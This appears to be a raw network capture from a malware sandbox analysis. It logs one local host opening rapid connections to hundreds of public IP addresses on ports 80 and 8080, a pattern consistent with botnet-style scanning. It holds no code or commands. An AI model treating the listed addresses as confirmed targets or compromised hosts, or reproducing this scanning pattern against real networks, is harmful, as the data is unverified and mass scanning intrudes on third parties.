Feb 19, 2025 19:48:55.219779015 CET	51772	80	192.168.2.15	88.131.139.17
Feb 19, 2025 19:48:55.220372915 CET	8080	40486	95.108.173.150	192.168.2.15
Feb 19, 2025 19:48:55.220417976 CET	40486	8080	192.168.2.15	95.108.173.150
Feb 19, 2025 19:48:55.220844984 CET	48830	80	192.168.2.15	88.26.186.63
Feb 19, 2025 19:48:55.221326113 CET	48052	8080	192.168.2.15	95.62.123.209
Feb 19, 2025 19:48:55.221798897 CET	50996	80	192.168.2.15	88.51.66.243
Feb 19, 2025 19:48:55.222846985 CET	53304	80	192.168.2.15	88.245.237.90
Feb 19, 2025 19:48:55.223335981 CET	53066	8080	192.168.2.15	94.85.35.162
Feb 19, 2025 19:48:55.223812103 CET	49784	80	192.168.2.15	88.105.218.104
Feb 19, 2025 19:48:55.224915981 CET	52578	80	192.168.2.15	88.54.252.80
Feb 19, 2025 19:48:55.225398064 CET	35378	8080	192.168.2.15	85.76.87.220
Feb 19, 2025 19:48:55.225869894 CET	32864	80	192.168.2.15	88.32.161.146
Feb 19, 2025 19:48:55.226891041 CET	48998	80	192.168.2.15	88.113.98.182
Feb 19, 2025 19:48:55.227370024 CET	33022	8080	192.168.2.15	31.86.145.136
Feb 19, 2025 19:48:55.227830887 CET	50238	80	192.168.2.15	88.135.73.86
Feb 19, 2025 19:48:55.228882074 CET	49638	80	192.168.2.15	88.88.50.43
Feb 19, 2025 19:48:55.229360104 CET	43086	8080	192.168.2.15	62.94.100.78
Feb 19, 2025 19:48:55.229823112 CET	35560	80	192.168.2.15	88.169.217.20
Feb 19, 2025 19:48:55.230865002 CET	44054	80	192.168.2.15	88.83.15.4
Feb 19, 2025 19:48:55.231340885 CET	38828	8080	192.168.2.15	95.36.34.229
Feb 19, 2025 19:48:55.231836081 CET	58680	80	192.168.2.15	88.24.68.106
Feb 19, 2025 19:48:55.232398033 CET	8080	33022	31.86.145.136	192.168.2.15
Feb 19, 2025 19:48:55.232454062 CET	33022	8080	192.168.2.15	31.86.145.136
Feb 19, 2025 19:48:55.232929945 CET	49468	80	192.168.2.15	88.214.97.194
Feb 19, 2025 19:48:55.233414888 CET	49332	8080	192.168.2.15	85.133.212.77
Feb 19, 2025 19:48:55.233897924 CET	57958	80	192.168.2.15	88.176.129.184
Feb 19, 2025 19:48:55.234966993 CET	46486	80	192.168.2.15	88.89.31.146
Feb 19, 2025 19:48:55.235464096 CET	46980	8080	192.168.2.15	94.42.51.67
Feb 19, 2025 19:48:55.235944033 CET	43192	80	192.168.2.15	88.41.236.162
Feb 19, 2025 19:48:55.237021923 CET	52836	80	192.168.2.15	88.180.123.146
Feb 19, 2025 19:48:55.237533092 CET	33670	8080	192.168.2.15	62.181.18.227
Feb 19, 2025 19:48:55.237997055 CET	35916	80	192.168.2.15	88.106.102.34
Feb 19, 2025 19:48:55.239080906 CET	36348	80	192.168.2.15	88.235.5.130
Feb 19, 2025 19:48:55.239573956 CET	53544	8080	192.168.2.15	95.49.231.145
Feb 19, 2025 19:48:55.240016937 CET	60816	80	192.168.2.15	88.100.91.26
Feb 19, 2025 19:48:55.240535021 CET	8080	46980	94.42.51.67	192.168.2.15
Feb 19, 2025 19:48:55.240576029 CET	46980	8080	192.168.2.15	94.42.51.67
Feb 19, 2025 19:48:55.241158009 CET	45624	80	192.168.2.15	88.53.232.157
Feb 19, 2025 19:48:55.241197109 CET	45624	80	192.168.2.15	88.53.232.157
Feb 19, 2025 19:48:55.241710901 CET	46016	80	192.168.2.15	88.53.232.157
Feb 19, 2025 19:48:55.242156982 CET	35380	8080	192.168.2.15	31.165.246.194
Feb 19, 2025 19:48:55.242244959 CET	37082	80	192.168.2.15	88.140.138.215
Feb 19, 2025 19:48:55.242244959 CET	37082	80	192.168.2.15	88.140.138.215
Feb 19, 2025 19:48:55.242629051 CET	37476	80	192.168.2.15	88.140.138.215
Feb 19, 2025 19:48:55.243190050 CET	53518	80	192.168.2.15	88.249.193.225
Feb 19, 2025 19:48:55.243190050 CET	53518	80	192.168.2.15	88.249.193.225
Feb 19, 2025 19:48:55.243688107 CET	53910	80	192.168.2.15	88.249.193.225
Feb 19, 2025 19:48:55.244152069 CET	58562	8080	192.168.2.15	85.80.29.195
Feb 19, 2025 19:48:55.244260073 CET	46302	80	192.168.2.15	88.102.245.23
Feb 19, 2025 19:48:55.244260073 CET	46302	80	192.168.2.15	88.102.245.23
Feb 19, 2025 19:48:55.244646072 CET	46678	80	192.168.2.15	88.102.245.23
Feb 19, 2025 19:48:55.245207071 CET	51386	80	192.168.2.15	88.112.1.196
Feb 19, 2025 19:48:55.245207071 CET	51386	80	192.168.2.15	88.112.1.196
Feb 19, 2025 19:48:55.245685101 CET	51758	80	192.168.2.15	88.112.1.196
Feb 19, 2025 19:48:55.246144056 CET	80	45624	88.53.232.157	192.168.2.15
Feb 19, 2025 19:48:55.246200085 CET	58384	8080	192.168.2.15	94.201.206.204
Feb 19, 2025 19:48:55.246299982 CET	47568	80	192.168.2.15	88.212.157.47
Feb 19, 2025 19:48:55.246299982 CET	47568	80	192.168.2.15	88.212.157.47
Feb 19, 2025 19:48:55.246682882 CET	47940	80	192.168.2.15	88.212.157.47
Feb 19, 2025 19:48:55.247234106 CET	80	37082	88.140.138.215	192.168.2.15
Feb 19, 2025 19:48:55.247255087 CET	44674	80	192.168.2.15	88.168.75.230
Feb 19, 2025 19:48:55.247268915 CET	44674	80	192.168.2.15	88.168.75.230
Feb 19, 2025 19:48:55.247796059 CET	45046	80	192.168.2.15	88.168.75.230
Feb 19, 2025 19:48:55.248123884 CET	80	53518	88.249.193.225	192.168.2.15
Feb 19, 2025 19:48:55.248282909 CET	49974	8080	192.168.2.15	95.160.193.126
Feb 19, 2025 19:48:55.248374939 CET	59336	80	192.168.2.15	88.126.104.108
Feb 19, 2025 19:48:55.248375893 CET	59336	80	192.168.2.15	88.126.104.108
Feb 19, 2025 19:48:55.248784065 CET	59694	80	192.168.2.15	88.126.104.108
Feb 19, 2025 19:48:55.249247074 CET	80	46302	88.102.245.23	192.168.2.15
Feb 19, 2025 19:48:55.249357939 CET	42702	80	192.168.2.15	88.155.0.182
Feb 19, 2025 19:48:55.249357939 CET	42702	80	192.168.2.15	88.155.0.182
Feb 19, 2025 19:48:55.249835014 CET	43046	80	192.168.2.15	88.155.0.182
Feb 19, 2025 19:48:55.250228882 CET	80	51386	88.112.1.196	192.168.2.15
Feb 19, 2025 19:48:55.250319004 CET	43758	8080	192.168.2.15	95.77.114.84
Feb 19, 2025 19:48:55.250416994 CET	56558	80	192.168.2.15	88.0.166.77
Feb 19, 2025 19:48:55.250416994 CET	56558	80	192.168.2.15	88.0.166.77
Feb 19, 2025 19:48:55.250804901 CET	56904	80	192.168.2.15	88.0.166.77
Feb 19, 2025 19:48:55.251276970 CET	80	47568	88.212.157.47	192.168.2.15
Feb 19, 2025 19:48:55.251374960 CET	46500	80	192.168.2.15	88.108.239.116
Feb 19, 2025 19:48:55.251374960 CET	46500	80	192.168.2.15	88.108.239.116
Feb 19, 2025 19:48:55.251841068 CET	46832	80	192.168.2.15	88.108.239.116
Feb 19, 2025 19:48:55.252206087 CET	80	44674	88.168.75.230	192.168.2.15
Feb 19, 2025 19:48:55.252302885 CET	60122	8080	192.168.2.15	95.11.128.137
Feb 19, 2025 19:48:55.252389908 CET	59352	80	192.168.2.15	88.34.237.117
Feb 19, 2025 19:48:55.252389908 CET	59352	80	192.168.2.15	88.34.237.117
Feb 19, 2025 19:48:55.252784014 CET	59674	80	192.168.2.15	88.34.237.117
Feb 19, 2025 19:48:55.252784967 CET	80	45046	88.168.75.230	192.168.2.15
Feb 19, 2025 19:48:55.252825975 CET	45046	80	192.168.2.15	88.168.75.230
Feb 19, 2025 19:48:55.253323078 CET	50952	80	192.168.2.15	88.234.91.223
Feb 19, 2025 19:48:55.253323078 CET	50952	80	192.168.2.15	88.234.91.223
Feb 19, 2025 19:48:55.253324986 CET	80	59336	88.126.104.108	192.168.2.15
Feb 19, 2025 19:48:55.253813028 CET	51252	80	192.168.2.15	88.234.91.223
Feb 19, 2025 19:48:55.254282951 CET	35050	8080	192.168.2.15	31.41.161.109
Feb 19, 2025 19:48:55.254368067 CET	60490	80	192.168.2.15	88.225.132.35
Feb 19, 2025 19:48:55.254378080 CET	60490	80	192.168.2.15	88.225.132.35
Feb 19, 2025 19:48:55.254424095 CET	80	42702	88.155.0.182	192.168.2.15
Feb 19, 2025 19:48:55.254754066 CET	60664	80	192.168.2.15	88.225.132.35
Feb 19, 2025 19:48:55.255301952 CET	56728	80	192.168.2.15	88.143.14.164
Feb 19, 2025 19:48:55.255301952 CET	56728	80	192.168.2.15	88.143.14.164
Feb 19, 2025 19:48:55.255379915 CET	80	56558	88.0.166.77	192.168.2.15
Feb 19, 2025 19:48:55.256274939 CET	56870	80	192.168.2.15	88.143.14.164
Feb 19, 2025 19:48:55.256316900 CET	80	46500	88.108.239.116	192.168.2.15
Feb 19, 2025 19:48:55.256699085 CET	54714	8080	192.168.2.15	95.116.172.70
Feb 19, 2025 19:48:55.256922960 CET	45046	80	192.168.2.15	88.168.75.230
Feb 19, 2025 19:48:55.257396936 CET	80	59352	88.34.237.117	192.168.2.15
Feb 19, 2025 19:48:55.257594109 CET	55302	8080	192.168.2.15	31.29.206.100
Feb 19, 2025 19:48:55.258210897 CET	48804	8080	192.168.2.15	62.82.143.68
Feb 19, 2025 19:48:55.258281946 CET	80	50952	88.234.91.223	192.168.2.15
Feb 19, 2025 19:48:55.258832932 CET	43052	8080	192.168.2.15	94.181.75.9
Feb 19, 2025 19:48:55.259402037 CET	80	60490	88.225.132.35	192.168.2.15
Feb 19, 2025 19:48:55.259483099 CET	48666	8080	192.168.2.15	31.102.241.149
Feb 19, 2025 19:48:55.260107040 CET	49406	8080	192.168.2.15	62.117.58.214
Feb 19, 2025 19:48:55.260273933 CET	80	56728	88.143.14.164	192.168.2.15
Feb 19, 2025 19:48:55.260773897 CET	34674	8080	192.168.2.15	94.83.97.152
Feb 19, 2025 19:48:55.261266947 CET	80	56870	88.143.14.164	192.168.2.15
Feb 19, 2025 19:48:55.261302948 CET	56870	80	192.168.2.15	88.143.14.164
Feb 19, 2025 19:48:55.261327028 CET	56870	80	192.168.2.15	88.143.14.164
Feb 19, 2025 19:48:55.261482000 CET	45760	8080	192.168.2.15	95.135.15.89
Feb 19, 2025 19:48:55.261970997 CET	80	45046	88.168.75.230	192.168.2.15
Feb 19, 2025 19:48:55.262011051 CET	45046	80	192.168.2.15	88.168.75.230
Feb 19, 2025 19:48:55.262114048 CET	55226	8080	192.168.2.15	31.208.20.41
Feb 19, 2025 19:48:55.262744904 CET	43458	8080	192.168.2.15	85.46.201.12
Feb 19, 2025 19:48:55.263394117 CET	38246	8080	192.168.2.15	62.174.45.39
Feb 19, 2025 19:48:55.264022112 CET	56672	8080	192.168.2.15	94.125.195.95
Feb 19, 2025 19:48:55.264672041 CET	42838	8080	192.168.2.15	85.107.197.233
Feb 19, 2025 19:48:55.265305996 CET	52304	8080	192.168.2.15	62.9.11.148
Feb 19, 2025 19:48:55.265940905 CET	43126	8080	192.168.2.15	94.110.87.110
Feb 19, 2025 19:48:55.266371012 CET	80	56870	88.143.14.164	192.168.2.15
Feb 19, 2025 19:48:55.266401052 CET	56870	80	192.168.2.15	88.143.14.164
Feb 19, 2025 19:48:55.266596079 CET	52186	8080	192.168.2.15	85.44.169.128
Feb 19, 2025 19:48:55.267251015 CET	39226	8080	192.168.2.15	95.253.27.164
Feb 19, 2025 19:48:55.268491030 CET	49882	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:55.269846916 CET	33888	8080	192.168.2.15	85.70.8.98
Feb 19, 2025 19:48:55.271281958 CET	41516	8080	192.168.2.15	62.166.187.99
Feb 19, 2025 19:48:55.273530006 CET	8080	49882	62.117.130.180	192.168.2.15
Feb 19, 2025 19:48:55.273696899 CET	49882	8080	192.168.2.15	62.117.130.180
Feb 19, 2025 19:48:55.275110006 CET	39254	8080	192.168.2.15	85.41.125.132
Feb 19, 2025 19:48:55.277200937 CET	7173	8080	192.168.2.15	62.133.146.104
Feb 19, 2025 19:48:55.277223110 CET	7173	8080	192.168.2.15	85.71.231.92
Feb 19, 2025 19:48:55.277223110 CET	7173	8080	192.168.2.15	94.135.212.58
Feb 19, 2025 19:48:55.277224064 CET	7173	8080	192.168.2.15	95.87.180.42
Feb 19, 2025 19:48:55.277226925 CET	7173	8080	192.168.2.15	62.14.145.220
Feb 19, 2025 19:48:55.277235985 CET	7173	8080	192.168.2.15	31.242.139.136
Feb 19, 2025 19:48:55.277251005 CET	7173	8080	192.168.2.15	31.131.205.48
Feb 19, 2025 19:48:55.277255058 CET	7173	8080	192.168.2.15	31.64.92.204
Feb 19, 2025 19:48:55.277256012 CET	7173	8080	192.168.2.15	95.186.18.187
Feb 19, 2025 19:48:55.277256966 CET	7173	8080	192.168.2.15	62.236.176.161
Feb 19, 2025 19:48:55.277256966 CET	7173	8080	192.168.2.15	94.128.11.10
Feb 19, 2025 19:48:55.277285099 CET	7173	8080	192.168.2.15	62.17.36.115
Feb 19, 2025 19:48:55.277287960 CET	7173	8080	192.168.2.15	31.189.9.9
Feb 19, 2025 19:48:55.277287960 CET	7173	8080	192.168.2.15	62.210.137.105
Feb 19, 2025 19:48:55.277287960 CET	7173	8080	192.168.2.15	94.69.32.236
Feb 19, 2025 19:48:55.277287960 CET	7173	8080	192.168.2.15	94.220.98.9
Feb 19, 2025 19:48:55.277299881 CET	7173	8080	192.168.2.15	62.210.200.128
Feb 19, 2025 19:48:55.277301073 CET	7173	8080	192.168.2.15	94.29.112.34
Feb 19, 2025 19:48:55.277304888 CET	7173	8080	192.168.2.15	85.215.171.125
Feb 19, 2025 19:48:55.277314901 CET	7173	8080	192.168.2.15	62.103.194.84
Feb 19, 2025 19:48:55.277323008 CET	7173	8080	192.168.2.15	85.246.169.85
Feb 19, 2025 19:48:55.277323008 CET	7173	8080	192.168.2.15	95.142.191.125
Feb 19, 2025 19:48:55.277323008 CET	7173	8080	192.168.2.15	31.187.135.210
Feb 19, 2025 19:48:55.277323008 CET	7173	8080	192.168.2.15	31.101.121.1
Feb 19, 2025 19:48:55.277339935 CET	7173	8080	192.168.2.15	31.27.234.111
Feb 19, 2025 19:48:55.277349949 CET	7173	8080	192.168.2.15	94.161.84.90
Feb 19, 2025 19:48:55.277357101 CET	7173	8080	192.168.2.15	95.62.238.145
Feb 19, 2025 19:48:55.277368069 CET	7173	8080	192.168.2.15	31.36.32.244
Feb 19, 2025 19:48:55.277369976 CET	7173	8080	192.168.2.15	85.150.160.54
Feb 19, 2025 19:48:55.277400017 CET	7173	8080	192.168.2.15	85.102.186.224
Feb 19, 2025 19:48:55.277405977 CET	7173	8080	192.168.2.15	31.236.42.184
Feb 19, 2025 19:48:55.277417898 CET	7173	8080	192.168.2.15	95.12.28.7
Feb 19, 2025 19:48:55.277420998 CET	7173	8080	192.168.2.15	85.110.55.220
Feb 19, 2025 19:48:55.277432919 CET	7173	8080	192.168.2.15	62.23.108.102
Feb 19, 2025 19:48:55.277435064 CET	7173	8080	192.168.2.15	94.243.79.165
Feb 19, 2025 19:48:55.277436972 CET	7173	8080	192.168.2.15	62.131.105.132
Feb 19, 2025 19:48:55.277452946 CET	7173	8080	192.168.2.15	94.130.62.116
Feb 19, 2025 19:48:55.277479887 CET	7173	8080	192.168.2.15	94.86.13.177
Feb 19, 2025 19:48:55.277491093 CET	7173	8080	192.168.2.15	62.34.94.116
Feb 19, 2025 19:48:55.277492046 CET	7173	8080	192.168.2.15	62.19.162.124
Feb 19, 2025 19:48:55.277504921 CET	7173	8080	192.168.2.15	95.220.221.183
Feb 19, 2025 19:48:55.277506113 CET	7173	8080	192.168.2.15	85.156.93.49
Feb 19, 2025 19:48:55.277507067 CET	7173	8080	192.168.2.15	62.78.21.162
Feb 19, 2025 19:48:55.277507067 CET	7173	8080	192.168.2.15	31.229.178.95
Feb 19, 2025 19:48:55.277508020 CET	7173	8080	192.168.2.15	85.140.34.203
Feb 19, 2025 19:48:55.277517080 CET	7173	8080	192.168.2.15	94.55.115.155
Feb 19, 2025 19:48:55.277530909 CET	7173	8080	192.168.2.15	62.12.87.187
Feb 19, 2025 19:48:55.277533054 CET	7173	8080	192.168.2.15	95.171.176.24
Feb 19, 2025 19:48:55.277545929 CET	7173	8080	192.168.2.15	94.254.128.51
Feb 19, 2025 19:48:55.277546883 CET	7173	8080	192.168.2.15	85.21.158.244
Feb 19, 2025 19:48:55.277560949 CET	7173	8080	192.168.2.15	62.237.150.67
Feb 19, 2025 19:48:55.277563095 CET	7173	8080	192.168.2.15	85.49.32.81
Feb 19, 2025 19:48:55.277565002 CET	7173	8080	192.168.2.15	95.169.80.91
Feb 19, 2025 19:48:55.277576923 CET	7173	8080	192.168.2.15	95.144.35.214
Feb 19, 2025 19:48:55.277590990 CET	7173	8080	192.168.2.15	94.157.252.87
Feb 19, 2025 19:48:55.277596951 CET	7173	8080	192.168.2.15	95.199.168.32
Feb 19, 2025 19:48:55.277606964 CET	7173	8080	192.168.2.15	95.84.193.68
Feb 19, 2025 19:48:55.277615070 CET	7173	8080	192.168.2.15	95.44.214.97
Feb 19, 2025 19:48:55.277621031 CET	7173	8080	192.168.2.15	85.194.71.133
Feb 19, 2025 19:48:55.277626038 CET	7173	8080	192.168.2.15	94.91.198.97
Feb 19, 2025 19:48:55.277626038 CET	7173	8080	192.168.2.15	31.205.159.101
Feb 19, 2025 19:48:55.277626038 CET	7173	8080	192.168.2.15	94.84.147.227
Feb 19, 2025 19:48:55.277636051 CET	7173	8080	192.168.2.15	94.239.133.100
Feb 19, 2025 19:48:55.277640104 CET	7173	8080	192.168.2.15	95.192.243.80
Feb 19, 2025 19:48:55.277648926 CET	7173	8080	192.168.2.15	62.145.107.121
Feb 19, 2025 19:48:55.277650118 CET	7173	8080	192.168.2.15	85.109.138.121
Feb 19, 2025 19:48:55.277650118 CET	7173	8080	192.168.2.15	85.166.58.233
Feb 19, 2025 19:48:55.277650118 CET	7173	8080	192.168.2.15	94.123.50.35
Feb 19, 2025 19:48:55.277650118 CET	7173	8080	192.168.2.15	85.217.144.28
Feb 19, 2025 19:48:55.277650118 CET	7173	8080	192.168.2.15	62.219.47.29
Feb 19, 2025 19:48:55.277650118 CET	7173	8080	192.168.2.15	85.52.166.194
Feb 19, 2025 19:48:55.277650118 CET	7173	8080	192.168.2.15	85.129.63.233
Feb 19, 2025 19:48:55.277652025 CET	7173	8080	192.168.2.15	95.107.191.170
Feb 19, 2025 19:48:55.277652979 CET	7173	8080	192.168.2.15	62.78.69.151
Feb 19, 2025 19:48:55.277662992 CET	7173	8080	192.168.2.15	85.77.105.222
Feb 19, 2025 19:48:55.277662992 CET	7173	8080	192.168.2.15	85.156.172.97
Feb 19, 2025 19:48:55.277662992 CET	7173	8080	192.168.2.15	31.198.17.88
Feb 19, 2025 19:48:55.277662992 CET	7173	8080	192.168.2.15	85.197.40.224
Feb 19, 2025 19:48:55.277668953 CET	7173	8080	192.168.2.15	95.29.92.64
Feb 19, 2025 19:48:55.277678967 CET	7173	8080	192.168.2.15	95.157.246.102
Feb 19, 2025 19:48:55.277686119 CET	7173	8080	192.168.2.15	62.27.137.215
Feb 19, 2025 19:48:55.277690887 CET	7173	8080	192.168.2.15	95.36.1.194
Feb 19, 2025 19:48:55.277693033 CET	7173	8080	192.168.2.15	31.198.34.109
Feb 19, 2025 19:48:55.277705908 CET	7173	8080	192.168.2.15	94.210.181.106
Feb 19, 2025 19:48:55.277708054 CET	7173	8080	192.168.2.15	94.192.180.143
Feb 19, 2025 19:48:55.277712107 CET	7173	8080	192.168.2.15	62.30.105.217
Feb 19, 2025 19:48:55.277723074 CET	7173	8080	192.168.2.15	94.163.75.54
Feb 19, 2025 19:48:55.277735949 CET	7173	8080	192.168.2.15	95.95.156.217
Feb 19, 2025 19:48:55.277738094 CET	7173	8080	192.168.2.15	94.227.158.19
Feb 19, 2025 19:48:55.277745008 CET	7173	8080	192.168.2.15	94.254.209.253
Feb 19, 2025 19:48:55.277755976 CET	7173	8080	192.168.2.15	85.148.74.177
Feb 19, 2025 19:48:55.277759075 CET	7173	8080	192.168.2.15	94.167.43.128
Feb 19, 2025 19:48:55.277766943 CET	7173	8080	192.168.2.15	31.11.134.46
Feb 19, 2025 19:48:55.277767897 CET	7173	8080	192.168.2.15	94.127.157.141
Feb 19, 2025 19:48:55.277767897 CET	7173	8080	192.168.2.15	62.203.2.199
Feb 19, 2025 19:48:55.277769089 CET	7173	8080	192.168.2.15	62.212.39.177
Feb 19, 2025 19:48:55.277769089 CET	7173	8080	192.168.2.15	85.24.52.192
Feb 19, 2025 19:48:55.277772903 CET	7173	8080	192.168.2.15	85.11.134.147
Feb 19, 2025 19:48:55.277777910 CET	7173	8080	192.168.2.15	85.241.196.90
Feb 19, 2025 19:48:55.277787924 CET	7173	8080	192.168.2.15	85.223.230.214
Feb 19, 2025 19:48:55.277806997 CET	7173	8080	192.168.2.15	85.190.179.227
Feb 19, 2025 19:48:55.277811050 CET	7173	8080	192.168.2.15	85.11.6.48
Feb 19, 2025 19:48:55.277811050 CET	7173	8080	192.168.2.15	62.82.158.103
Feb 19, 2025 19:48:55.277811050 CET	7173	8080	192.168.2.15	95.109.5.223
Feb 19, 2025 19:48:55.277818918 CET	7173	8080	192.168.2.15	95.207.128.187
Feb 19, 2025 19:48:55.277828932 CET	7173	8080	192.168.2.15	85.54.30.144
Feb 19, 2025 19:48:55.277843952 CET	7173	8080	192.168.2.15	95.175.79.222
Feb 19, 2025 19:48:55.277851105 CET	7173	8080	192.168.2.15	85.38.195.133
Feb 19, 2025 19:48:55.277863026 CET	7173	8080	192.168.2.15	62.246.202.210
Feb 19, 2025 19:48:55.277863979 CET	7173	8080	192.168.2.15	62.193.222.19
Feb 19, 2025 19:48:55.277864933 CET	7173	8080	192.168.2.15	62.28.197.188
Feb 19, 2025 19:48:55.277865887 CET	7173	8080	192.168.2.15	85.114.207.230
Feb 19, 2025 19:48:55.277864933 CET	7173	8080	192.168.2.15	95.5.196.34
Feb 19, 2025 19:48:55.277877092 CET	7173	8080	192.168.2.15	94.221.8.52
Feb 19, 2025 19:48:55.277880907 CET	7173	8080	192.168.2.15	62.134.98.226
Feb 19, 2025 19:48:55.277893066 CET	7173	8080	192.168.2.15	31.42.51.129
Feb 19, 2025 19:48:55.277894020 CET	7173	8080	192.168.2.15	31.230.60.119
Feb 19, 2025 19:48:55.277896881 CET	7173	8080	192.168.2.15	31.69.161.150
Feb 19, 2025 19:48:55.277910948 CET	7173	8080	192.168.2.15	95.94.31.28
Feb 19, 2025 19:48:55.277913094 CET	7173	8080	192.168.2.15	31.145.88.53
Feb 19, 2025 19:48:55.277915001 CET	7173	8080	192.168.2.15	62.220.4.10
Feb 19, 2025 19:48:55.277920961 CET	7173	8080	192.168.2.15	31.91.19.131
Feb 19, 2025 19:48:55.277945042 CET	7173	8080	192.168.2.15	62.186.225.81
Feb 19, 2025 19:48:55.277945995 CET	7173	8080	192.168.2.15	95.216.125.170
Feb 19, 2025 19:48:55.277945995 CET	7173	8080	192.168.2.15	95.104.10.181
Feb 19, 2025 19:48:55.277951002 CET	7173	8080	192.168.2.15	31.239.210.91
Feb 19, 2025 19:48:55.277968884 CET	7173	8080	192.168.2.15	62.107.114.132
Feb 19, 2025 19:48:55.277968884 CET	7173	8080	192.168.2.15	31.252.161.113
Feb 19, 2025 19:48:55.277968884 CET	7173	8080	192.168.2.15	31.18.230.100
Feb 19, 2025 19:48:55.277976990 CET	7173	8080	192.168.2.15	95.83.201.237
Feb 19, 2025 19:48:55.277981043 CET	7173	8080	192.168.2.15	31.26.214.6
Feb 19, 2025 19:48:55.278003931 CET	7173	8080	192.168.2.15	95.192.56.227
Feb 19, 2025 19:48:55.278007984 CET	7173	8080	192.168.2.15	62.248.164.19
Feb 19, 2025 19:48:55.278011084 CET	7173	8080	192.168.2.15	31.202.214.173
Feb 19, 2025 19:48:55.278011084 CET	7173	8080	192.168.2.15	31.110.150.206
Feb 19, 2025 19:48:55.278011084 CET	7173	8080	192.168.2.15	95.68.8.217
Feb 19, 2025 19:48:55.278023958 CET	7173	8080	192.168.2.15	95.195.178.134
Feb 19, 2025 19:48:55.278034925 CET	7173	8080	192.168.2.15	62.249.245.0
Feb 19, 2025 19:48:55.278038025 CET	7173	8080	192.168.2.15	85.133.90.42
Feb 19, 2025 19:48:55.278050900 CET	7173	8080	192.168.2.15	95.129.20.187
Feb 19, 2025 19:48:55.278052092 CET	7173	8080	192.168.2.15	94.12.15.189
Feb 19, 2025 19:48:55.278062105 CET	7173	8080	192.168.2.15	94.108.21.159
Feb 19, 2025 19:48:55.278065920 CET	7173	8080	192.168.2.15	95.72.185.8
Feb 19, 2025 19:48:55.278065920 CET	7173	8080	192.168.2.15	94.6.199.156
Feb 19, 2025 19:48:55.278080940 CET	7173	8080	192.168.2.15	85.30.34.169
Feb 19, 2025 19:48:55.278091908 CET	7173	8080	192.168.2.15	85.121.134.156
Feb 19, 2025 19:48:55.278095961 CET	7173	8080	192.168.2.15	95.12.43.164
Feb 19, 2025 19:48:55.278110027 CET	7173	8080	192.168.2.15	94.80.17.196
Feb 19, 2025 19:48:55.278110981 CET	7173	8080	192.168.2.15	31.13.224.20
Feb 19, 2025 19:48:55.278112888 CET	7173	8080	192.168.2.15	85.37.22.245
Feb 19, 2025 19:48:55.278115988 CET	7173	8080	192.168.2.15	85.203.165.73
Feb 19, 2025 19:48:55.278126955 CET	7173	8080	192.168.2.15	94.227.192.171
Feb 19, 2025 19:48:55.278130054 CET	7173	8080	192.168.2.15	62.195.95.72
Feb 19, 2025 19:48:55.278141022 CET	7173	8080	192.168.2.15	62.37.79.91
Feb 19, 2025 19:48:55.278145075 CET	7173	8080	192.168.2.15	62.215.175.52
Feb 19, 2025 19:48:55.278145075 CET	7173	8080	192.168.2.15	94.222.124.136
Feb 19, 2025 19:48:55.278145075 CET	7173	8080	192.168.2.15	94.162.178.126
Feb 19, 2025 19:48:55.278146029 CET	7173	8080	192.168.2.15	94.248.106.124
Feb 19, 2025 19:48:55.278151035 CET	7173	8080	192.168.2.15	95.82.19.118
Feb 19, 2025 19:48:55.278162003 CET	7173	8080	192.168.2.15	94.141.203.74
Feb 19, 2025 19:48:55.278170109 CET	7173	8080	192.168.2.15	95.51.82.34
Feb 19, 2025 19:48:55.278170109 CET	7173	8080	192.168.2.15	95.168.173.239
Feb 19, 2025 19:48:55.278182030 CET	7173	8080	192.168.2.15	95.50.200.94
Feb 19, 2025 19:48:55.278184891 CET	7173	8080	192.168.2.15	31.241.100.181
Feb 19, 2025 19:48:55.278198957 CET	7173	8080	192.168.2.15	62.235.201.112
Feb 19, 2025 19:48:55.278213024 CET	7173	8080	192.168.2.15	94.210.221.142
Feb 19, 2025 19:48:55.278213024 CET	7173	8080	192.168.2.15	94.214.202.163
Feb 19, 2025 19:48:55.278213024 CET	7173	8080	192.168.2.15	94.50.82.220
Feb 19, 2025 19:48:55.278219938 CET	7173	8080	192.168.2.15	94.155.189.65
Feb 19, 2025 19:48:55.278228045 CET	7173	8080	192.168.2.15	95.146.61.138
Feb 19, 2025 19:48:55.278238058 CET	7173	8080	192.168.2.15	62.155.184.123
Feb 19, 2025 19:48:55.278245926 CET	7173	8080	192.168.2.15	94.54.131.169
Feb 19, 2025 19:48:55.278249025 CET	7173	8080	192.168.2.15	95.191.195.102
Feb 19, 2025 19:48:55.278249979 CET	7173	8080	192.168.2.15	62.187.139.131
Feb 19, 2025 19:48:55.278260946 CET	7173	8080	192.168.2.15	31.204.30.198
Feb 19, 2025 19:48:55.278263092 CET	7173	8080	192.168.2.15	85.199.124.144
Feb 19, 2025 19:48:55.278275013 CET	7173	8080	192.168.2.15	62.30.72.13
Feb 19, 2025 19:48:55.278275013 CET	7173	8080	192.168.2.15	94.70.255.179
Feb 19, 2025 19:48:55.278275967 CET	7173	8080	192.168.2.15	95.65.223.192
Feb 19, 2025 19:48:55.278283119 CET	7173	8080	192.168.2.15	85.179.3.80
Feb 19, 2025 19:48:55.278283119 CET	7173	8080	192.168.2.15	95.231.14.99
Feb 19, 2025 19:48:55.278283119 CET	7173	8080	192.168.2.15	94.224.148.20
Feb 19, 2025 19:48:55.278296947 CET	7173	8080	192.168.2.15	85.254.252.214
Feb 19, 2025 19:48:55.278297901 CET	7173	8080	192.168.2.15	85.202.16.181
Feb 19, 2025 19:48:55.278314114 CET	7173	8080	192.168.2.15	85.13.59.85
Feb 19, 2025 19:48:55.278318882 CET	7173	8080	192.168.2.15	85.178.84.29
Feb 19, 2025 19:48:55.278321981 CET	7173	8080	192.168.2.15	31.187.208.133
Feb 19, 2025 19:48:55.278332949 CET	7173	8080	192.168.2.15	85.88.113.232
Feb 19, 2025 19:48:55.278346062 CET	7173	8080	192.168.2.15	95.78.186.204
Feb 19, 2025 19:48:55.278347015 CET	7173	8080	192.168.2.15	95.222.31.125
Feb 19, 2025 19:48:55.278354883 CET	7173	8080	192.168.2.15	95.130.215.15
Feb 19, 2025 19:48:55.278368950 CET	7173	8080	192.168.2.15	85.190.55.167
Feb 19, 2025 19:48:55.278372049 CET	7173	8080	192.168.2.15	85.180.57.112
Feb 19, 2025 19:48:55.278382063 CET	7173	8080	192.168.2.15	85.43.243.60
Feb 19, 2025 19:48:55.278386116 CET	7173	8080	192.168.2.15	62.41.184.216
Feb 19, 2025 19:48:55.278400898 CET	7173	8080	192.168.2.15	85.159.124.145
Feb 19, 2025 19:48:55.278400898 CET	7173	8080	192.168.2.15	31.208.86.227
Feb 19, 2025 19:48:55.278407097 CET	7173	8080	192.168.2.15	94.215.143.134
